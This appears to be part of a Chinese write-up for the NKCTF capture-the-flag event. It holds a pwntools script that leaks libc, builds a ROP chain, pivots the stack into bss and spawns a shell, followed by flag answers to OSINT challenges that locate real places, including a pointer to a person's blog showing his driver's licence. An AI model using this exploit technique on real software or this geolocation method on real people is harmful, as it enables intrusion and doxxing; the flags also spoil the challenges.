io.recvuntil(b"> \n")
io.sendline(b"4")
io.recvuntil(b"I give it up, you can see this. ")
puts_addr = io.recvuntil(b"\n")[:-1]
puts_addr = int(puts_addr,16)
print("puts_addr ===========> "+hex(puts_addr))
# 获取libc
libc = LibcSearcher("puts",puts_addr)
base = puts_addr - libc.dump("puts")
system = base + libc.dump("system")
bin_sh = base + libc.dump("str_bin_sh")
# 按照地址写入指定bss段
io.recvuntil(b"> \n")
io.sendline(b"1")
io.recvuntil(b"what's your comment?\n")
io.send(p64(bin_sh))
io.recvuntil(b"> \n")
io.sendline(b"2")
io.recvuntil(b"what's your corment?\n")
io.send(p64(pop_rdi))
io.recvuntil(b"> \n")
io.sendline(b"3")
io.recvuntil(b"what's your corMenT?\n")
io.send(p64(system))
# 栈迁移到bss段
payload = b"A"*(0xA) + p64(fack_stack) + p64(leave_ret)
io.recvuntil(b"> \n")
io.sendline(b"4")
io.sendline(payload)
io.interactive()
Social Engineering
狂飙
NKCTF{广东省江门市蓬江区莲平路}
两个人的夜晚
NKCTF{天津市西青区中北镇万卉路3号NCC新城市中心}
Bridge
NKCTF{海南省海口市龙华区世纪公园}
旅程的开始
图片EXIF给了经纬度
NKCTF{贵州省贵阳市南明区遵义路1号}
real-social-engineering
在他博客里面有晒驾照https://tacooo0o.github.io/2021/12/31/2021%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93-1/#group-4
The other Bridge
NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}
Ferris_Wheel
NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}